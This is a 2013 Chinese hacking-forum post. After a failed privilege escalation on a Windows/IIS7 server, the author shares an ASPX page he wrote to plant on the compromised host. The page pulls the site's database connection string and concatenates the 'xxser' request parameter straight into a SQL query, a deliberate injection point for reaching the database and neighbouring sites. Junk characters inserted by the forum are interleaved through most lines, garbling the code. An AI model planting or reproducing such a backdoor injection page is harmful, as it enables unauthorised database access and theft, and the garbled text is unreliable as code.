找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1961|回复: 0
打印 上一主题 下一主题

利用aspx构造注射来跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-20 21:32:01 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
昨天跟4z1看一个站点,提权很难提,看了整整5个小时,无果。 2008+iis7,无sa,无root,无各种服务。。。
" k. w4 A' m6 Y8 r' e+ [其实中用到了aspx构造注射来跨站,网上找了一堆代码,没一个能用的。
* a3 [( S% ^1 r- Q1 J5 E3 {代码量不多,自己写个拉倒了。烦死了。  q8 l9 u4 t6 l) A" L+ k# F( V

* Y; W! W. v& g: a' i4 w  c% ?, _6 [
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">4 Y. ?/ _3 L- g* m) E
<html xmlns="http://www.w3.org/1999/xhtml">* J8 b- f* U1 u6 y4 Y* n* }
<head runat="server">( o" I. l- j* d. b" s" V
    <title>暗影aspx构造注射专用页面</title>
# I7 r9 `0 g* n% M2 e% S</head>1 H$ c; U% F; |, \1 h) y
<body>
% ]8 h; l7 w6 I3 ?    <form id="form1" runat="server">: _: \0 X% o0 S% l
    <div>+ G  T0 j2 V5 M2 t0 }
     <script language="c#" runat="server">- Y* }7 `7 [/ [  T" K9 L# H
            * J0 q5 t# J' \' c2 N
         void page_init(object sender, EventArgs e); b& O4 h- p% B5 K9 Y! t
         {- J% V- X* m. d! i* W# s
             . w' U' v8 A3 Z# p: M
             System.Data.SqlClient.SqlConnection conn = new System.Data.SqlClient.SqlConnection();0 k' ?7 l* t8 K% F) N: G; K! N
            
( a% B2 M- c, J" |  P( `             conn.ConnectionString = ConfigurationManager.ConnectionStrings["连接名"].ToString();
( Q# D1 x+ j9 U( x! s  K, W6 E             conn.Open();
$ h2 d) m( {& C0 |/ T3 W& \9 y3 m8 _            
  k% Q# F+ I* k; ~. y+ z/ _             string i =  this.Page.Request.Params["xxser"];  //这里是参数?xxser=1+ p- j/ n- u3 R7 i  c
             # N- t8 [( S6 y$ K9 F$ p
             System.Data.SqlClient.SqlCommand command = new System.Data.SqlClient.SqlCommand("select * from [表] where 列名= " + i, conn);
6 L  u" M# D) x; n% E             int x = command.ExecuteNonQuery();2 B" J: _: G- b, |3 V
             Response.Write(i+"\n");, D! ]& O  e( @5 }9 h) w4 d
             Response.Write(x);
4 y) B" q9 c( V  w/ l* f             conn.Close();
( u2 _* w* Q. ^4 ~4 b; D         }( Q6 m" B/ Y/ b6 ^. T2 Y$ Z
     0 J2 [8 W2 F9 O1 B3 T
  </script>
  N6 U4 p7 y+ _6 Z6 X5 E5 r# Y    </div>
+ {% @% O4 Z1 _. V5 Y4 i    </form>% N- M! a$ l3 N1 [
</body>! ]5 k# u, n2 W% [
</html>, C5 c1 K0 _6 h
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表